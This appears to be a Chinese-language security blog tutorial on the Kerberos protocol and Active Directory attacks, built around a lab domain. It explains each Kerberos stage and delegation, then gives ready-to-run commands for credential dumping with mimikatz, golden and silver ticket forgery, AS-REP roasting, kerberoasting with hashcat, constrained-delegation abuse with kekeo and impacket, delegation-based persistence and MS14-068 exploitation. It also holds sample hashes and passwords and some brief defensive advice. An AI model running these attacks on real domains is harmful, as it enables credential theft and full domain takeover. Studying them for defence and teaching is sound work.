干货 | 全网最详细的Kerberos协议及其漏洞

krbtgt 用户，该用户是在创建域时系统自动创建的一个账号，其作用是密钥发行中心的服务账号，其密码是系统随机生成的，无法正常登陆主机。

域控(server08):192.168.3.142 server08：192.168.3.68

AS-REQ

客户端向KDC的AS认证服务请求TGT认证权证。TGT是KDC的AS认证服务发放的

1、AS-REQ：当域内某个用户试图访问域中的某个服务，于是输入用户名和密码，本机的Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含： 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)** **以及一些其他信息。

AS-REQ阶段产生的攻击方式

1.HASH传递

在AS-REQ阶段，是用用户密码Hash加密的Authenticator，所以也就造成了hash传递

只适用于域环境，并且目标主机需要安装 KB2871997补丁 PTK

2.域内用户枚举

AS-REQ 的 cname 值，当用户不存在时，返回包提示错误，所以造成了改攻击方式。user.txt不需要加上@0day.org，也可以使用udp

3.密码喷洒

并且当用户名存在，密码正确和错误时，返回包也不一样，所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率

针对明文：

针对ntlm hash：

AS-REP

2、AS-REP：当KDC接收到请求之后，通过AD活动目录查询得到该用户的密码Hash，用该密码Hash对请求包的Authenticator进行解密，如果解密成功，则证明请求者提供的密码正确，而且需要时间戳范围在五分钟内，且不是重放，于是预认证成功。KAS成功认证对方的身份之后，发送响应包给客户端。响应包中主要包括：krbtgt用户的NTLM Hash加密后的TGT认购权证(即ticket这部分) 和 用户NTLM Hash加密的Login Session key(即最外层 enc-part 这部分) 以及一些其他信息。该Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC等信息会发送给客户端。PAC中包含用户的SID，用户所在的组等一些信息。

在enc-part里面最重要的字段是Login session key，作为下阶段的认证密钥。 AS-REP中最核心的东西就是 Login session-key 和 加密的ticket。正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的，用mimikatz，kekeo，rubeus生成的凭据是以 .kirbi 后缀的，impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是Login session-key 和 加密的 ticket，因此可以相互转化。

AS-REP阶段产生的攻击方式

1.黄金票据

在 AS-REP 阶段，由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证，这就造成了黄金票据攻击

伪造黄金票据的前提：

•要伪造的域用户(这里我们一般填写域管理员账户)•域名•域的SID值(就是域成员SID值去掉最后的)•krbtgt账号的哈希值或AES-256值

1.使用mimikatz

先获取krbtgt hash： 在域控执行

mimikatz.exe "lsadump::dcsync /domain:0day.org /user:krbtgt"

得到如下信息： sid：S-1-5-21-1812960810-2335050734-3517558805 ntlm hash：36f9d9e6d98ecf8307baf4f46ef842a2 aes256：dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 伪造用户administrator执行(aes256)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 /user:administrator/ticket:gold.kirbi"

伪造用户administrator执行(krbtgt hash)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi"

生成文件gold.kirbi

导入Golden Ticket，执行命令：

kerberos::ptt C:\Users\jack.0DAY\Desktop\gold.kirbi

获得域控权限

注意这里格式只能是 主机名.域名 的形式，而不能写ip

2.使用impacket 这里使用kali，不在域内只需要把dns改为域控即可

先生成票据administrator.ccache ``` python3 ticketer.py -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain 0day.org administrator ```

导入票据

export KRB5CCNAME=administrator.ccache

然后在访问域控

python3 smbexec.py -no-pass -k OWA2010SP3.0day.org

2.AS-REP Roasting

在AS-REP阶段，最外层的 enc-part 是用用户密码 Hash 加密的。对于域用户，如果设置了选项” Do not require Kerberos preauthentication”，此时向域控制器的 88 端口发送 AS_REQ 请求，对收到的AS_REP内容(enc-part底下的ciper，因为这部分是使用用户 hash 加密的 Login Session Key，我们通过进行离线爆破就可以获得用户hash)重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令，这就造成了 AS-REP Roasting攻击。

默认这个功能是不启用的，如果启用AS-REP会返回用户hash加密的sessionkey-as，这样我们就可以用john离线破解

使用Empire下的powerview.ps1查找域中设置了 "不需要kerberos预身份验证" 的用户

Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired

使用ASREPRoast.ps1获取AS-REP返回的Hash

Import-Module .\ASREPRoast.ps1Get-ASREPHash -UserName jack -Domain 0day.org | Out-File -Encoding ASCII hash.txt

修改为hashcat能识别的格式，在krb5asrep后面添加23拼接

 hashcat -m 18200 hash.txt pass.txt --force

TGS-REQ

经过上面的步骤，客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的Logon Session Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务，它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据（Service Ticket）。ST服务票据是通过KDC的另一个服务 TGS（Ticket Granting Service）出售的。在这个阶段，微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候，才用的到)

3、TGS-REQ：客户端向KDC购买针对指定服务的ST服务票据请求，该请求主要包含如下的内容：客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名 以及一些其他信息 。

TGS-REP

4.、TGS-REP：TGS接收到请求之后，首先会检查自身是否存在客户端所请求的服务。如果服务存在，则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key，然后通过Login Session Key解密Authenticator，如果解密成功，则验证了对方的真实身份，同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期，且原始地址是否和TGT中保存的地址相同。在完成上述的检测后，如果验证通过，则TGS完成了对客户端的认证，会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容：客户端用户信息 和 原始Service Session Key，整个ST服务票据用该服务的NTLM Hash进行加密。最终Service Session Key 和 ST服务票据 发送给客户端。(这一步不管用户有没有访问服务的权限，只要TGT正确，就都会返回ST服务票据，这也是kerberoasting能利用的原因，任何一个用户，只要hash正确，就可以请求域内任何一个服务的ST票据)

enc-part：这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash，那么我们就可以自己制作一个ST服务票据，这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的，所以当我们得到了ST服务票据，可以尝试爆破enc_part，来得到服务的密码Hash。这也就造成了kerberoast攻击

TGS-REP阶段产生的攻击方式

1.Kerberoast攻击

Kerberoast攻击过程： 1.攻击者对一个域进行身份验证，然后从域控制器获得一个TGT认购权证 ，该TGT认购权证用于以后的ST服务票据请求 2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式（name/host）的 servicePrincipalName (SPN)。例如：MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的，并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中，攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC，AES256_CTS_HMAC_SHA1_96等等)。 3.如果攻击者的 TGT 是有效的，则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后，域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。 4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码。 首先是请求服务票据 1.Rubeus.exe请求

Rubeus.exe kerberoast

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作，其原理在于先用LDAP查询于内的spn，再通过发送TGS包，然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

2.powershell请求

#请求服务票据Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"#列出服务票据klist

3.mimikatz请求 请求指定SPN的服务票据

#请求服务票据kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433 #列出服务票据kerberos::list  #清除所有票据kerberos::purge

4.Impacket中的GetUserSPNS.py请求 该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据，可用hashcat直接爆破。

python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack

这里输入jack的密码 导出票据 首先是查看

klist或mimikatz.exe "kerberos::list" MSF里面load kiwikerberos_ticket_list或load kiwikiwi_cmd kerberos::list

1.mimikatz导出

mimikatz.exe "kerberos::list /export" "exit"

执行完后，会在mimikatz同目录下导出 后缀为kirbi的票据文件

2.Empire下的Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

离线破解服务票据 1.kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi

2.hashcat 将导出的hashcat格式的哈希保存为hash.txt文件，放到hashcat的目录下

hashcat -m  13100  hash.txt  pass.txt

Kerberoast攻击防范 确保服务账号密码为强密码(长度、随机性、定期修改) 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5，就无法实验 tgsrepcrack.py来破解密码。 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此，如果强制实验AES256_HMAC方式对Kerberos票据进行加密，那么，即使攻击者获取了Kerberos票据，也无法将其破解，从而保证了活动目录的安全性。 许多服务账户在内网中被分配了过高的权限，且密码强度较差。攻击者很可能通过破解票据的密码，从域用户权限提升到域管理员权限。因此，应该对服务账户的权限进行适当的配置，并提高密码的强度。 在进行日志审计时，可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志，应进一步检查系统中是否存在恶意行为。

2.白银票据

在TGS-REP阶段，TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的hash，由于生成的是TGS票据，不需要跟域控打交道，但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用 要创建白银票据，我们需要知道以下信息：

•要伪造的域用户(这里我们一般填写域管理员账户)•域名•域的SID值(就是域成员SID值去掉最后的)•目标服务的FQDN•可利用的服务•服务账号的NTLM哈希

这里使用白银票据伪造CIFS服务，该通常用于Windows主机之间的文件共享。

1.mimikatz获得服务账号的ntlm hash

privilege::Debugsekurlsa::logonpasswords

得到NTLM为: 2c268a2a643267a4204a6ef6f896446b 2.使用白银票据攻击

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:2c268a2a643267a4204a6ef6f896446b /user:administrator /ptt

3.查看票据

4.访问域控

防御： 伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用。

3.白银票据和黄金票据的不同点

访问权限不同： 黄金票据Golden Ticket：伪造TGT认购权证，可以获取任何Kerberos服务权限 白银票据Silver Ticket：伪造ST服务票据，只能访问指定的服务 加密方式不同： Golden Ticket由krbtgt的Hash加密 Silver Ticket 由服务账号（通常为计算机账户）Hash加密 认证流程不同： Golden Ticket的利用过程需要访问域控， 而Silver Ticket不需要

委派

域委派是指，将域内用户的权限委派给服务账号，使得服务账号能以用户权限开展域内活动。 服务账号（Service Account），域内用户的一种类型，服务器运行服务时所用的账号，将服务运行起来并加入域。例如MS SQL Server在安装时，会在域内自动注册服务账号SqlServiceAccount，这类账号不能用于交互式登录。

上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后，前台运行WEB服务的服务账号websvc模拟（Impersonate）用户jack，以Kerberos协议继续认证到后台服务器，从而在后台服务器中获取jack用户的访问权限，即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字，具体步骤如下：

•域内用户jack以Kerberos方式认证后访问Web服务器；•Web服务以websvc服务账号运行，websvc向KDC发起jack用户的票据申请；•KDC检查websvc用户的委派属性，如果被设置，则返回jack用户的可转发票据TGT；•websvc收到jack用户TGT后，使用该票据向KDC申请访问文件服务器的服务票据TGS；•KDC检查websvc的委派属性，如果被设置，且申请的文件服务在允许的列表清单中，则返回一个jack用户访问文件服务的授权票据TGS；•websvc收到的jack用户的授权票据TGS后，可访问文件服务，完成多跳认证。

在域中，只有 服务账号 和 主机账号 才具有委派属性 主机账号就是AD活动目录中 Computers 中的计算机，也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。 服务账号（Service Account）是域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来并加入域。例如SQL Server 在安装时，会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。 委派的前提

需要被委派的用户未设置不允许被委派属性。

如果勾上则administrator账户不能被委派

非约束性委派

对于非约束性委派，服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT，模拟用户访问任意服务。

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含WORKSTATION_TRUSTED_FOR_DELEGATION

从网络攻击的角度看，如果攻击者控制了服务账号B，并诱骗管理员来访问服务A，则可以获取管理员的TGT，进而模拟管理员访问任意服务，即获得管理员权限。越是大型网络、应用越多的网络，服务账号越多，委派的应用越多，越容易获取域管理员权限。

约束性委派

由于非约束委派的不安全性，微软在Windows Server 2003中发布了约束性委派。对于约束性委派（Constrained Delegation），即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )，服务账号只能获取用户的TGS，从而只能模拟用户访问特定的服务。

配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION，并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。

基于资源的约束性委派

为了使用户/资源更加独立，微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置，而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行Windows Server 2012和Windows Server 2012 R2及以上的域控制器上配置，但可以在混合模式林中应用。配置了基于资源的约束委派的账户的 userAccountControl 属性为 WORKSTATION_TRUST_ACCOUNT，并且msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。

基于资源的约束性委派和约束性委派差别

委派的权限授予给了拥有资源的后端(B)，而不再是前端(A) 约束性委派不能跨域进行委派，基于资源的约束性委派可以跨域和林 不再需要域管理员权限设置委派，只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限，也就是 将计算机加入域的域用户 和 机器自身 拥有权限。 传统的约束委派是“正向的”，通过修改服务A的属性”msDS-AllowedToDelegateTo”，添加服务B的SPN（Service Principle Name），设置约束委派对象（服务B），服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。 而基于资源的约束委派则是相反的，通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”，添加服务A的SID，达到让服务A模拟用户访问B资源的目的。

非约束委派和约束委派的流程

1.非约束委派流程

前提：在机器账号B上配置了非约束性委派(域管理员才有权限配置) 1.用户访问机器B的某个服务，于是向KDC认证。KDC会检查机器B的机器账号的属性，发现是非约束性委派，KDC会将用户的TGT放在ST服务票据中。 2.用户访问机器B时，TGT票据会和ST服务票据一同发送给机器B 3.这样B在验证ST服务票据的同时获取了用户的TGT，并将TGT存储在LSASS进程中，从而可以模拟用户访问任意服务 从网络攻击的角度来看，如果攻击者控制了机器B的机器账号，并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B，然后攻击者可以获取管理员的TGT，从而模拟管理员访问任意服务，即获得了管理员权限。

2.约束性委派流程

前提：在服务A上配置到服务B约束性委派(域管理员才有权限配置) 1.用户访问服务A，于是向域控进行kerberos认证，域控返回ST1服务票据给用户，用户使用此服务票据访问服务A 2.若该服务A允许委派给服务B，则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据， 3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。 从网络攻击的角度来看，如果攻击者控制了服务A的账号，并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务，即相当于控制了域控。

筛选非委派属性的账号

注：域控主机账户默认开启非约束委派

1.PowerSploit下的PowerView.ps1脚本

Import-Module .\PowerView.ps1; 查询域中配置非约束委派的账户Get-NetUser -Unconstrained -Domain 0day.orgGet-NetUser -Unconstrained -Domain 0day.org | select name查询域中配置非约束委派的主机：Get-NetComputer -Unconstrained -Domain 0day.org | select name

2.ADFind

使用参数

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明：

•-b：指定要查询的根节点•-f：LDAP过滤条件•attr list：需要显示的属性

查找域中配置非约束委派的用户：

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机：

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

3.ldapsearch

kali自带，可以在域外使用 查找域中配置非约束委派的用户：

ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\#45 -b "DC=0day,DC=org" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置非约束委派的主机：

ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\#45 -b "DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

筛选约束性委派属性的账号

1.ldapsearch

查找域中配置约束委派用户:

ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\#45 -b "DC=0day,DC=org" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

查找域中配置约束委派的主机：

ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\#45 -b "DC=0day,DC=org" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

2.ADFind

查找域中配置约束委派用户:

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置约束委派的主机：

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3.Empire下的PowerView.ps1脚本

Import-Module .\powerview.ps1; 查询域中配置约束委派的账号Get-DomainUser -TrustedToAuth -Domain 0day.org | select name或Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl查询域中配置约束委派的主机Get-DomainComputer -TrustedToAuth -Domain 0day.org | select name或Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

查询某用户是否具有委派性

Import-Module .\powerview.ps1;Get-DomainUser 域用户名 -Properties  useraccountcontrol,msds-allowedtodelegateto| fl

当该账号没委派属性时，查询不出任何信息

当服务账号被设置为 **非约束性委派 **时，其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION

当被设置为 **约束性委派 **时，其userAccountControl属性包含 TRUSTED_TO_AUTH_FOR_DELEGATION，且 msds-allowedtodelegateto 属性会被设置为哪些 SPN。

非约束委派攻击

非约束委派：当user访问service1时，如果service1的服务账号开启了unconstrained delegation（非约束委派），则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用，然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务（任何服务是指user能访问的服务）了

操作环境：

•域：0day.org•域控：windows server 2008R2，主机名：OWA2010SP3，IP：192.168.3.142•域管账户：sqladmin•域内主机：windows 8，主机名：PC-mary-0day，IP：192.168.3.63，用户：mary(普通域用户)

注：在Windows系统中，只有服务账号和主机账号的属性才有委派功能，普通用户默认是没有的

1.查找非约束委派主机账号

2.导出票据

先访问域控，可以看到是访问失败的

我们用sqladmin或者任意域管账号访问win8（这里域管账号登录在任意一台机器都可以）

此时，在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据。 我们在win8上以管理员权限运行mimikatz，执行以下命令

privilege::debug 导出票据sekurlsa::tickets /export

3.注入票据

用 mimikatz 将这个票据导入内存中，然后访问域控。

导入票据kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi查看票据kerberos::list

4.访问域控

约束性委派攻击

操作环境：

•域：0day.org•域内主机：windows 7，主机名：PC-jack-0day，IP：192.168.3.62，用户：jack•域控：OWA2010SP3

们设置了机器用户PC-jack-0day对OWA2010SP3的cifs服务的委派

1.查找约束性委派的主机账号

2.请求用户TGT

已经知道服务用户明文的条件下，我们可以用kekeo请求该用户的TGT

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi

参数： /user: 服务用户的用户名 /password: 服务用户的明文密码 /domain: 所在域名 /ticket: 指定票据名称，不过这个参数没有生效，可以忽略 kekeo同样也支持使用NTLM Hash 在请求服务用户的TGT那步直接把/password改成/NTLM即可 这里我们知道PC-JACK-0DAY的ntlm hash为：768623e06fae601be0c04759c87d93d3 我们执行：

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi

得到TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi

3.获取ST

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问OWA2010SP3 CIFS的ST

tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

S4U2Self获取到的ST1以及S4U2Proxy获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下

4.注入ST2

然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi

5.访问域控

6.不知道服务用户密码的情况

如果我们不知道服务用户的明文和NTLM Hash，但是我们有了服务用户登陆的主机权限（需要本地管理员权限），我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注：sekurlsa::tickets是列出和导出所有会话的Kerberos票据，sekurlsa::tickets和kerberos::list不同，sekurlsa是从内存读取，也就是从lsass进程读取，这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制，sekurlsa可以访问其他会话（用户）的票证。 既然服务用户的TGT导出来了，我们就跳过tgt::ask请求TGT这步，直接tgs::s4u

tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi

抓包分析约束性委派攻击过程

这里可以看到有6个请求

1.AS-REQ

可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT

2.AS-REP

返回一张TGT，这张TGT代表的就是PC-JACK-0DAY这个用户

3.第一次的TGS-REQ和TGS-REP

用这张TGT发送S4U2self请求，以Administrator的名义向TGS申请了一张访问自身服务的票据，ST1

4.第二次的TGS-REQ和TGS-REP

得到ST1之后，然后会带上ST1再次向KDC发起SU42Proxy请求，以administrator的名义请求一张访问OWA2010SP3 cifs服务的票据，ST2

利用约束性委派进行权限维持

我们都知道TGT的生成是由krbtgt用户加密和签名的，如果我们能委派域上的用户去访问TGS，那么就可以伪造任意用户的TGT了，黄金票据通常情况下我们是用krbtgt的hash来伪造TGT，不过我们通过约束委派也能达到同样的效果。

注：TGS默认的spn是krbtgt/domain name，我们操作环境是krbtgt/QIYOU.COM krbtgt默认是禁用的而且无法启用，所以我们无法使用界面来添加这个SPN。 我们可以使用powershell来添加

Import-Module ActiveDirectory$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123

•域控：OWA2010SP3 192.168.200.146•域：0day.org•攻击机：Kali

首先修改 kali 的/etc/hosts/文件，添加如下内容

192.168.200.146 0day.org192.168.200.146 OWA2010SP3

创建域用户test然后赋予SPN

然后在域控上配置test用户到krbtgt用户的约束性委派。

Import-Module ActiveDirectory$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

可以看到test账户具有委派性

然后在kali上攻击

python3 getST.py -dc-ip 192.168.200.146 -spn krbtgt/0day.org -impersonate administrator 0day.org/test:Yicunyiye123

export KRB5CCNAME=administrator.ccachepython3 wmiexec.py -no-pass -k administrator@OWA2010SP3 -dc-ip 192.168.200.146

域委派的防御措施

因为委派比较实用我们也不能说直接简单粗暴关闭该功能。 1.高权限用户可以设置不能被委派

可以看到administrator是无法成功的，但是sqladmin可以 2.Windows 2012 R2及更高的系统建立了受保护的用户组，组内用户不允许被委派，这是有效的手段。受保护的用户组，当这个组内的用户登录时（windows 2012 R2域服务器，客户端必须为Windows 8.1或之上），不能使用NTLM认证；适用于Windows Server 2016，Windows Server 2012 R2、 Windows Server 2012 3.一般TGT 4小时后失效 4.Kerberos预认证时不使用DES或者RC4等加密算法；

PAC

具体查看：[Windows内网协议学习Kerberos篇之PAC]

https://www.anquanke.com/post/id/192810

kerberos的流程： 1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据 2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据 3.用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就允许用户访问。 上面这个流程看起来没错，却忽略一个最重要的因素，那就是用户有没有权限访问该服务，在上面的流程里面，只要用户的hash正确，那么就可以拿到TGT，有了TGT，就可以拿到TGS，有了TGS，就可以访问服务，任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题，并没有解决 “What can I do?”的问题。 在Kerberos最初设计的流程里说明了如何证明客户端的真实身份，但是并没有说明客户端是否有权限访问该服务，因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题，引入了 PAC (Privilege Attribute Certificate，特权属性证书) 的概念。

MS14-068

MS14-068编号CVE-2014-6324，补丁为3011780，如果自检可在域控制器上使用命令检测。

systeminfo |find "3011780"

为空说明该服务器存在MS14-068漏洞

环境： 域机器：PC-JACK-0DAY，win7，知道一个域用户和密码：jack\0day，admin!@#45，拥有该机器的管理员权限 域控：OWA2010SP3，ip:192.168.3.142 1.生成票据

MS14-068.exe -u jack@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d 192.168.3.142  #MS14-068.exe -u 域用户@0day.org -p 域用户jack密码 -s 域用户jack的SID -d 域控ip

可以看到生成了TGT_jack@0day.org.ccache 2.mimikatz导入票据

kerberos::ptc 票据路径

3.访问域控